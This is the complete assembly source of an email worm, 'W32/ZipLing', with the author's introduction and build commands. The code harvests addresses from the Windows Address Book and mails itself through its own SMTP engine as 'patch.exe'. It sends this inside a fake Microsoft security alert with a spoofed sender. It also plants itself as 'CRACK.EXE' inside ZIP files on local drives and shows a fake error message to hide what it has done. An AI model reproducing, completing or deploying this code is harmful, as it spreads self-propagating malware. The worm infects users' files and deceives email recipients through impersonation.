;
; W32/ZipLing -
;
;	First of all this is the source code to an I-Worm. I do not guarantee it works, although
; I have tested it on my system and it had seemed to work. I lost interest in it after a while
; so I completely forgot about it until one day, when i decided to finish my I-Worm ;). It should
; work however, because as far as my short-term memory goes back it seemed to work OK where it
; was at a couple of weeks ago. Basically now I just added in the threads and took out the breakpoints,
; so I think it should travel nicely (if it was spreaded). Anyway, please contact me if you find
; a problem or if you'd like to comment on it. I am not responsible for what happens to you or
; other people if you use it. You've been warned =) 
;
;
;	This is my I-Worm. I been workin on it for about 4 weeks (i took a bit of a break for 1
; week:).  It doesn't travel by MAPI but it does somewhat rely on Outlook.  It needs Windows
; Address Book, but this shouldn't be a problem because most people have outlook.  It uses its
; own SMTP engine.  It Mime encodes the worm EXE and sends it out to all addresses in the default
; WAB file.  As you can see, this can spread very well if it gets sent to the right place.  This
; worm uses many anti-debug and anti-emu tricks, to make detection of it harder.  It creates 2 threads:
; 1 checks 1 drive for zip files, dropping a crack.exe over all of them.
; User may think it is a bit suspicious but I'm sure he doesnt look at all of his zip files.  Other thread
; finds email addresses and sends each a copy of the worm+msg from microsoft :). Worm is named patch.exe
; and claims to fix a serious bug inside windows core (kernel32) files. It doesn't though; it just gives
; a message saying corrupt CRC or something the like.  The file that it drops inside zip files says same
; thing, and since they are crack.exe and patch.exe it should fit both.
;
;
;       This source is does not have many comments. If you want to learn how to create a worm,
; I recommend you try the MAPI way first. There are a couple of ASM worms that are straight
; forward for you to learn on.
;
;
;
;	How to build:
;	(masm32)
;	ml /c /coff ziplung.asm
;	link /SUBSYSTEM:WINDOWS ziplung.obj
;	pewrsec ziplung.exe
;	ziplung.exe
;	^^^^^^^^^^^-> hehehe
;
;	please pay visit to http://bluebola.8k.com !
;
;	and.. Enjoy. 

.486p
.model flat,stdcall
option casemap :none
include \masm32\include\windows.inc
include \masm32\include\zipfile.inc
include \masm32\include\advapi32.inc
include \masm32\include\kernel32.inc
include \masm32\include\wsock32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\wsock32.lib
includelib \masm32\lib\advapi32.lib
includelib \masm32\lib\user32.lib

	SearchZIP PROTO :DWORD
	thread1 PROTO
	thread2 PROTO

.code		; CODE SECTION of worm
start:
	jmp @F

	filename db 128 dup (?)
	szTemp db "tmp9174.tmp",0
	mem01 dd 0
	hTemp dd 0
	tSize dd 0
	thid1 dd 0
	thid2 dd 0
fr db 260 dup (?)
msg db "Could not patch due to bad CRC!",0
@@:	
	invoke GetModuleFileName,0,addr filename,128
	invoke CopyFile,addr filename,addr szTemp,0
	invoke CreateFile,addr szTemp,0c0000000h,01h,00h,03h,00h,00h
	mov hTemp,eax
	invoke GetFileSize,EAX,0
	mov ebx,eax
	invoke GlobalAlloc,0,eax
	mov mem01,eax
	invoke ReadFile,hTemp,mem01,ebx,addr filename,00h
	invoke CloseHandle,hTemp
	; MEM01 now = ptr to our EXE. We need this for MIME and ZIP appending
	mov tSize,EBX	
	mov zpC_S1,EBX		; adjust the size of our data
	mov zpC_S2,EBX
	mov zpL_S1,EBX
	mov zpL_S2,EBX

	invoke MessageBox,0,addr msg,0,0

	invoke CreateThread,0,0,addr thread1,addr fr,0,addr thid1
	mov ebx,eax
	
	invoke CreateThread,0,0,addr thread2,0,0,addr thid2
	mov esi,eax
	
	invoke WaitForSingleObject,ebx,-1
	invoke WaitForSingleObject,esi,-1
	jmp LeaveNow
	
Recipient db 256 dup (?)
sizeRecip dd $-Recipient	
	
sendtable:
	dd offset SendHelo		; HELO LocalHost
	dd offset SendFrom		; MAIL FROM:
	dd offset SendRcpt		; RCPT TO:
	dd offset SendData1		; send the DATA part of the message
	dd offset SendData2		; sends the actual DATA
	dd offset SendQuit		; send the QUIT part	
	dd 00000000h			; end marka
buffer db 512 dup (?)	
; Used for SELECT calls
Timeout:
	dd 5
	dd 0
FDSet:
           dd 1
MailSocket dd 0
SendWorm:	; This little part of the worm does this here:
		; Gets Default Email server
		; Connects to it
		; Sends the message
	pushad
openkey:
	xor eax,eax
	call @F
	phkMailKey dd 0
	@@:
	push KEY_ALL_ACCESS
	push eax
	call @F
			db "Software\Microsoft\Internet Account Manager"
slashkey		db 0
			db "Accounts\"
lpDefaultAccount	db 8 dup(0)
			db 0
	@@:
	push HKEY_CURRENT_USER
	call RegOpenKeyEx
	
	or eax,eax
	jnz LeaveNow
	
	cmp byte ptr [slashkey],0
	jnz getsmtpmail
	
	xor eax,eax
	call @F
	dd 00000009h
	@@:
	push offset lpDefaultAccount
	push eax
	push eax
	call @F
	db "Default Mail Account",0
	@@:
	push dword ptr [phkMailKey]
	call RegQueryValueEx
	push dword ptr [phkMailKey]
	call RegCloseKey
	mov byte ptr [slashkey],'\'	
	jmp openkey
getsmtpmail:
	xor eax,eax
	call @F
	dd 00000200h	; 512 bytes
	@@:
	push offset buffer
	push eax
	push eax
	call @F
	db "SMTP Server",0
	@@:
	push dword ptr [phkMailKey]
	call RegQueryValueEx
	push dword ptr [phkMailKey]
	call RegCloseKey
	
	lea edi,buffer
;�������������������������������������������
	call @F
	pp2 WSADATA <?>
	@@:
	push 0101h
	call WSAStartup
;�������������������������������������������
	push edi
	call gethostbyname
	
	mov eax,[eax+12]
	mov eax,[eax]
	mov eax,[eax]		; we got the DWORD IP
	
	mov dword ptr [dwIPAddress],EAX

	push 0
	push 1
	push 2
	call socket
	mov MailSocket,EAX
	inc eax
	jz LeaveNow

	push 16		; size of following structure
	call @F
	dw AF_INET
hPort   db 0, 25
dwIPAddress dd 0
Reserved2 dd 0,0
	@@:
	push dword ptr [MailSocket]
	call connect
	inc eax
	jz EndWinsock
;�������������������������������������������
	cld
	lea ebx,sendtable	; sendtable = table of functions that operate w/ smtp server
WaitForResponse:		; check if its ok to read
	xor eax,eax
	push offset Timeout
	push eax
	push eax
	push offset FDSet
	push eax
	call select
	
	dec eax
	jnz EndWinsock
	
	call @worm_recv		; receive the data into ptr supplied by ESI
	or eax,eax
	jz EndWinsock

	lodsb
	dec esi		; we dont want to modify ESI
okiebyte equ $+1	; to change the 032h	
	cmp al,032h	; 032h = "2" = OK :)
	jnz EndWinsock	; no no its not ok
	
	mov byte ptr [okiebyte],032h	; fixor it when we mess it up
SendOurResponse:		; check if its okay to write
	xor eax,eax
	push offset Timeout
	push eax
	push offset FDSet
	push eax
	push eax
	call select	
	
	dec eax
	jnz EndWinsock

	call dword ptr [ebx]
	or eax,eax
	jz EndWinsock		; zero = error
	
	cmp dword ptr [ebx+4],0
	jz EndWinsock		; end of table
	
	add ebx,4
	jmp WaitForResponse
SendHelo:		; sends a HELO command
	jmp @F
	pHelo db "HELO LocalHost",0Dh,0Ah
        sHelo equ $-pHelo
@@:
	lea esi,pHelo
	mov ecx,sHelo
	call @worm_send			; send the data
	ret
SendQuit:		; sends a QUIT command
	jmp @F
	pQuit db "QUIT",0Dh,0Ah
	sQuit equ $-pQuit
@@:
	lea esi,pQuit
	mov ecx,sQuit
	call @worm_send			; send the data
	ret
SendFrom:
	jmp @F
	pFrom db "MAIL FROM:<critical@microsoft.com>",0Dh,0Ah
	sFrom equ $-pFrom
@@:
	lea esi,pFrom
	mov ecx,sFrom
	call @worm_send
	ret
SendRcpt:
	jmp @F
	pRcpt db "RCPT TO:<"
	sRcpt equ $-pRcpt
	pRcpt2 db ">",0Dh,0Ah
	sRcpt2 equ $-pRcpt2
@@:
	lea esi,pRcpt
	mov ecx,sRcpt
	call @worm_send
	
	lea esi,Recipient	; who to email it to
	mov ecx,sizeRecip	; Size of the string
	call @worm_send
	
	lea esi,pRcpt2
	mov ecx,sRcpt2
	call @worm_send		; send the 0A0Dh so server accepts it
	ret
SendData1:
	jmp @F
	pData db "DATA",0Dh,0Ah
	sData equ $-pData
@@:
	lea esi,pData
	mov ecx,sData
	call @worm_send
	mov byte ptr [okiebyte],033h
	ret
SendData2:
	jmp @F
	pData2 db "From: Microsoft Critical Response Team <critical@microsoft.com>",0Dh,0Ah
	       db "Subject: Urgent message for all Windows users",0Dh,0Ah
	       db "MIME-Version: 1.0",0Dh,0Ah
	       db 'Content-Type: multipart/mixed; boundary="bound"',0Dh,0Ah
	       db 0Dh,0Ah
	       db '--bound',0Dh,0Ah
	       db 'Content-Type: text/plain; charset=ISO-8859-1',0Dh,0Ah
	       db 'Content-Transfer-Encoding: 7bit',0Dh,0Ah
	       db 0Dh,0Ah
	       db "Dear Windows User,",0Dh,0Ah
	       db 0Dh,0AH
	       db "   The Microsoft Security Experts have discovered a bug inside the Windows'",0Dh,0Ah
	       db " files that poses a security threat to all versions of Windows newer than  ",0Dh,0Ah
	       db " Windows98 (including Windows98). Virus experts have reported that few known",0Dh,0Ah
	       db " viruses have been identified using this exploit, but more are expected. A ",0Dh,0Ah
	       db " patch has been supplied with this email and will fix the security hole.   ",0Dh,0Ah
	       db 0Dh,0Ah
	       db "    **THIS MESSAGE WAS DELIVERED VIA MICROSOFT ALERT AUTO-MESSENGER** ",0Dh,0Ah
	       db '--bound',0Dh,0Ah
	       db 'Content-Type: application/octet-stream; name=patch.exe',0Dh,0Ah
	       db 'Content-Transfer-Encoding: base64',0Dh,0Ah
	       db 0Dh,0Ah
	       
	sData2 equ $-pData2
	pDot   db 0Dh,0Ah,'--bound--',0Dh,0Ah
	       db 0Dh,0Ah
	       db "."
	       db 0Dh,0Ah
	sDot equ $-pDot
	
	mem02 dd 0
	
@@:

	lea esi,pData2
	mov ecx,sData2
	call @worm_send
	; Send the actual file in mime format
	invoke GlobalAlloc,0,7168*3	; for mime encoded
	mov mem02,eax
	
	mov eax,tSize		; Data size MUST BE DIVISIBLE BY 3!
	mov ecx,3
	xor edx,edx
	div ecx
	inc eax
	xor edx,edx
	mul ecx
	mov ecx,eax

	mov edx,mem02		
	mov eax,mem01
	call encodebase64

	mov esi,mem02
	call @worm_send
	
	lea esi,pDot
	mov ecx,sDot
	call @worm_send
	
	invoke GlobalFree,mem02

	ret
	
;�������������������������������������������
EndWinsock:
	push dword ptr [MailSocket]
	call closesocket

	popad
	ret
	
;�������������������������������������������
LeaveNow:
	invoke ExitProcess,0

@worm_recv:
	lea esi,buffer
	push 0
	push 512
	push esi
	push dword ptr [MailSocket]
	call recv
	ret

@worm_send:
	; ESI = ptr to what to send
	; ECX = size of data to send
	push 0
	push ecx
	push esi
	push dword ptr [MailSocket]
	call send
	ret

;�������������������������������������������������������������������������������������������
; ZIP Appending procedures (c) blueEbola 2001-2002
; Feel free to distibute this procedure or use it in your own code.
;
zipappend:
	jmp @F
zpLocalFile dd 04034B50h	; PK signature
	    dw 0014h
	    dw 8000h
	    dw 0000h
	    dw 8C78h
	    dw 8578h
zpL_crc     dd 00000000h
zpL_S1	    dd sizeLoc-data_s
zpL_S2	    dd sizeLoc-data_s
	    dw 0009h		; filename = 8 chars long
	    dw 0000h
	    db "CRACK.EXE"	; Most users run cracks hehe (we give a fake message :)
data_s:
sizeLoc equ $

fName dd 0	; pointer to name to infect
hFile dd 0
fSize dd 0
hAlloc dd 0
dwTempRW dd 0

zpCentralDir dd 02014b50h
	     db 14h
	     db 00h
	     db 14h
	     db 00h
	     dw 8000h
	     dw 0000h
	     dw 8c78h
	     dw 8578h
zpC_crc	     dd 00000000h
zpC_S1	     dd sizeLoc-data_s
zpC_S2	     dd sizeLoc-data_s
	     dw 0009h
	     dw 0,0,0,0
	     dd 00000020h
rvaloc	     dd 00000000h
	     db "CRACK.EXE"
sizeCen equ $
@@:
	    mov fName,ESI

	    mov ecx,zpL_S1
	    mov esi,mem01
	    call CRC32
	    mov zpC_crc,EAX
	    mov zpL_crc,EAX

	    invoke CreateFile,fName,0c0000000h,01h,00h,03h,00h,00h
	    mov hFile,EAX
	    inc eax
	    jz errorzip
	    dec eax
	    invoke GetFileSize,hFile,0
	    mov fSize,EAX
	    invoke GlobalAlloc,0,fSize
	    mov hAlloc,EAX
	    invoke ReadFile,hFile,eax,fSize,addr dwTempRW,0   
	    invoke CloseHandle,hFile
;�������������������������������������������������������������������������������������������
; Appends to data to zip files. (c) blueEbola (me'za love copyrights:)
; Most of this was taken from my zippy_ok.asm file and my article, greetz to me :)

	    mov edi,hAlloc
	    add edi,fSize
	    sub edi,4
LocateEndOfCentral:	
	    cmp dword ptr [edi],06054B50h	; PK signature for endofcentral
	    jz FoundEndOfCentral
	    dec edi
	    jmp LocateEndOfCentral
FoundEndOfCentral:
	    ; OK, we have to check if it is infected
	    jmp checkzip
Infect:
	    ASSUME EDI:PTR ZIPEndOfCentralDir
	    mov esi,[edi].ZECD_RVACentralDir

	    invoke CreateFile,fName,0C0000000h,01h,00h,02h,00h,00h
	    mov hFile,EAX
	    mov ebx,hAlloc
	    invoke WriteFile,hFile,ebx,esi,addr dwTempRW,0
	    add ebx,esi
	    invoke WriteFile,hFile,addr zpLocalFile,sizeLoc-zpLocalFile,addr dwTempRW,0
	    invoke WriteFile,hFile,mem01,tSize,addr dwTempRW,0
	    mov ecx,[edi].ZECD_SizeOfCentralDir
	    invoke WriteFile,hFile,ebx,ecx,addr dwTempRW,0
	    mov rvaloc,esi
	    invoke WriteFile,hFile,addr zpCentralDir,sizeCen-zpCentralDir,addr dwTempRW,0
	    mov ebx,rvaloc

	    add ebx,sizeLoc-zpLocalFile	; size of file
	    add ebx,zpL_S1
	    mov ecx,[edi].ZECD_SizeOfCentralDir
	    add ecx,sizeCen-zpCentralDir
	    mov [edi].ZECD_SizeOfCentralDir,ECX
	    inc [edi].ZECD_TotalNumberOfEntries
	    inc [edi].ZECD_NumberOfEntries
	    mov [edi].ZECD_RVACentralDir,EBX
	    
	    mov ebx,hAlloc
	    add ebx,fSize
	    sub ebx,edi
	    invoke WriteFile,hFile,edi,ebx,addr dwTempRW,0
	    invoke CloseHandle,hFile
	    
errorzip:	    
	    invoke GlobalFree,hAlloc	; free the mem
	    ret
	    
checkzip:
	    pushad
search:	    cmp dword ptr [edi],02014B50h
	    jz foundlast
	    dec edi
	    jmp search
foundlast:  lea edi,[edi+2Eh]	; Filename
	    cmp dword ptr [edi],'CARC'	; CRAC*.***
	    popad
	    jz errorzip	; abort
	    jmp Infect	    
	    
CRC32 proc	; ecx = size string esi = string
	push esi ; I found this proc inside T2000's article on encrypting ZIP files
	push edx ; thanx T2000 you're a life saver (i been looking everywhere for good CRC32
	         ; function because WinZip didn't like my old one!) :) greetz to you!
	stc
	sbb edx,edx
	clc
	cld
LoadChar:
	lodsb
	xor dl,al
	mov al,08h	; 8 bits
BitCRC:
	shr edx,1	; get bit into carry flag
	jnc NoCRC	; not set, no CRC
	xor edx,0EDB88320h ; crc found
NoCRC:  dec al		; next bit
	jnz BitCRC
	loop LoadChar
	
	xchg edx,eax
	not eax
	
	pop edx
	pop esi
	ret
CRC32 endp
;�������������������������������������������������������������������������������������������
; ZIP search procedure
;
; Recursive ZIP file find function
; Infects every 3rd zip file found on the system
; BTW, In MASM32 v7.0, the FindFile example was created by me :)
; 
; Requirements: s_path buffer must not contain '\' at the end of it (ie. 'C:\Windows')
;

SearchZIP PROC s_path:DWORD		; ptr at s_path must be 260 bytes long (will crash otherwise!:)

	LOCAL wTemp[260]:BYTE		; temporary
	LOCAL wfd:WIN32_FIND_DATA
	LOCAL hFind:DWORD
	
	invoke Sleep,300d	; wait a 0.3 seconds
	
	jmp zerodir		; zero out the string above
__ret001:
	lea edi,wTemp

	push edi
	mov esi,s_path
	mov ecx,260
	rep movsb
	pop edi

	xor al,al
	scasb
	jnz $-1			; get to the 0byte
	
	dec edi
	
	mov ax,'*\'
	stosw
	
	invoke FindFirstFile,addr wTemp,addr wfd
	mov hFind,EAX
	push eax
	inc eax
	jz NoFiles
	pop ebx
	
	; API's dont modify EBX- its good for handles
	.while EBX > 0
	  lea esi,wfd.cFileName	; filename
	  lodsw
	  .if AX != 2E2Eh && AX != 002Eh	; '..' or '.'
	    ; its not those silly directories...
	    sub esi,02Eh
	    mov eax,[esi]
	    .if AL & 010h		; is it a directory
	        ; It is a directory
	        lea esi,wfd.cFileName
	        lea edi,wTemp
	        
	        mov al,'*'
	        scasb
	        jnz $-1
	        sub edi,2
	        
	        push edi
	        
	        xor ecx,ecx
	        mov al,'\'
	        
boohoo:         stosb
	        lodsb
	        inc ecx
	        cmp al,00h
	        jnz boohoo 
	        
	        pop edi
	        pushad
	        invoke SearchZIP,addr wTemp
	        popad
	        
	        mov ax,'*\'
	        stosw
	        
	        sub ecx,2
	        xor al,al
	        rep stosb
	        
	    .else
	    	; It is a file
	    	; Now we have to check if it is a .ZIP file
	    	lea edi,wfd.cFileName
	    	xor al,al
	  	xor ecx,ecx
	  	not ecx
	  	repnz scasb
	  	
	  	sub edi,5
	  	mov eax,dword ptr [edi]
	  	or eax,020202020h
	  	cmp eax,'piz.'		; .zip file?
	  	jnz __ret002

	  	lea edi,wTemp
	  	mov al,'*'
	  	xor ecx,ecx
	  	not ecx
	  	repnz scasb
	  	sub edi,2
	  	
	  	xor eax,eax
	  	stosw
	  			
		invoke SetCurrentDirectory,addr wTemp
		lea esi,wfd.cFileName
		
		pushad
		call zipappend
		popad

	  	lea edi,wTemp
	  	xor al,al
	  	xor ecx,ecx
	  	not ecx
		repnz scasb
		sub edi,2

		mov ax,'*\'
		stosw

	    .endif
	    
	  .endif  
	  jmp zerowfd
__ret002:
	  invoke FindNextFile,hFind,addr wfd
	  mov ebx,eax
	.endw

	invoke FindClose,hFind
NoFiles:
	ret
;###########################	
zerodir:
	xor al,al
	lea edi,wTemp
	mov ecx,260
	rep stosb
	jmp __ret001
zerowfd:
	xor al,al
	lea edi,wfd.cFileName
	mov ecx,256
	rep stosb
	jmp __ret002
	  
SearchZIP ENDP	  
;���������������������������������������������������������������������������������������
; EncodeBase64: Encodes data into MIME format
encodebase64:   ; encodeBase64: Proper credit goez out to BumbleBee. I struggled with making
		; my own MIME encoder so I ripped one.. :) Thanks alot Bumblebee!!
; input:
;       EAX = Address of data to encode
;       EDX = Address to put encoded data
;       ECX = Size of data to encode
; output:
;       ECX = size of encoded data
;
        xor     esi,esi 
        call    over_enc_table
        db      "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
        db      "abcdefghijklmnopqrstuvwxyz"
        db      "0123456789+/"
over_enc_table:
        pop     edi
        push    ebp
        xor     ebp,ebp
baseLoop:
        movzx   ebx,byte ptr [eax]
        shr     bl,2
        and     bl,00111111b
        mov     bh,byte ptr [edi+ebx]
        mov     byte ptr [edx+esi],bh
        inc     esi

        mov     bx,word ptr [eax]
        xchg    bl,bh
        shr     bx,4
        mov     bh,0
        and     bl,00111111b
        mov     bh,byte ptr [edi+ebx]
        mov     byte ptr [edx+esi],bh
        inc     esi

        inc     eax
        mov     bx,word ptr [eax]
        xchg    bl,bh
        shr     bx,6
        xor     bh,bh
        and     bl,00111111b
        mov     bh,byte ptr [edi+ebx]
        mov     byte ptr [edx+esi],bh
        inc     esi

        inc     eax
        xor     ebx,ebx
        movzx   ebx,byte ptr [eax]
        and     bl,00111111b
        mov     bh,byte ptr [edi+ebx]
        mov     byte ptr [edx+esi],bh
        inc     esi
        inc     eax

        inc     ebp
        cmp     ebp,24
        jna     DontAddEndOfLine

        xor     ebp,ebp                         ; add a new line
        mov     word ptr [edx+esi],0A0Dh
        inc     esi
        inc     esi
        test    al,00h                          ; Optimized (overlap rlz!)
        org     $-1
DontAddEndOfLine:
        inc     ebp
        sub     ecx,3
        or      ecx,ecx
        jne     baseLoop

        mov     ecx,esi
        add     edx,esi
        pop     ebp
        ret
;���������������������������������������������������������������������������������������������
; Locates addresses inside the default WAB file
WABFindAddies PROC
	jmp @F
	mappedFile dd 0
	mapHandle dd 0
	fileHandle dd 0
	addrbuf db 256 dup (?)
@@:
	
	xor eax,eax
	call @F
	phkWABKey dd 0
	@@:
	push KEY_ALL_ACCESS
	push eax
	call @F
	db "Software\Microsoft\WAB\WAB4\Wab File Name",0
	@@:
	push HKEY_CURRENT_USER
	call RegOpenKeyEx
	
	xor eax,eax
	call @F
	dd 0000007Fh
	@@:
	push offset wabfile
	push eax
	push eax
	push eax		; null for (default)
	push dword ptr [phkWABKey]
	call RegQueryValueEx
	push dword ptr [phkWABKey]
	call RegCloseKey

	push 0
	push 0
	push 3
	push 0
	push 1
	push 80000000h
	call @F
wabfile	db 128 dup (?)
@@:
	call CreateFile

	mov fileHandle,eax
	xchg eax,ebx

	or ebx,ebx
	jz leavewab
	
	push 0
	push ebx
	call GetFileSize
	mov esi,eax
	
	push 0
	push esi
	push 0
	push PAGE_READONLY
	push 0
	push ebx
	call CreateFileMapping
	mov mapHandle,eax
	xchg eax,ebx
	
	or ebx,ebx
	jz leavewab
	
	push esi
	push 0
	push 0
	push FILE_MAP_READ
	push ebx
	call MapViewOfFile
	mov mappedFile,eax
	xchg eax,ebx
	
	or ebx,ebx
	jz leavewab
;���������������������������������������������������������������������
; Find the addresses
	; EBX=Base address
	mov esi,ebx
	mov ecx,[esi+64h]	; number of addies	
	add esi,[esi+60h]	; points to first address
looperz:
	push esi
	lea edi,Recipient
	push edi
lop:
	lodsw
	stosb
	or al,al
	jnz lop
	pop ebx
	
	sub edi,ebx
	mov sizeRecip,EDI
	
	pop esi
	add esi,044h
	
	PUSHAD
	CALL SendWorm		; send the worm out!
	POPAD
	
	push ecx
	lea edi,Recipient
	xor al,al
	mov ecx,256
	rep stosb
	pop ecx		
	
	dec ecx
	jecxz leavewab
	jmp looperz

;���������������������������������������������������������������������
leavewab:
	invoke UnmapViewOfFile,mappedFile
	invoke CloseHandle,mapHandle
	invoke CloseHandle,fileHandle
	
	ret
WABFindAddies ENDP
;���������������������������������������������������������������������
; Thread procedures
thread1 proc	
	mov al,'c'
	lea edi,fr
	stosb
	mov ax,'\:'
	stosw
	sub edi,3
isdriveok:
	push edi
	call GetDriveType
	cmp al,03h
	jnz nextdrive
	
	mov byte ptr [edi+2],00h
	
	jmp SearchZIP		; we dont even need a ret!

nextdrive:
	cmp al,"z"
	jz enddrive
	inc byte ptr [edi]
	jmp isdriveok
enddrive:
	ret
thread1 endp

thread2 proc
	pop eax		; dont need param
	mov [esp],eax
	call WABFindAddies
	xor eax,eax
	ret
thread2 endp
end start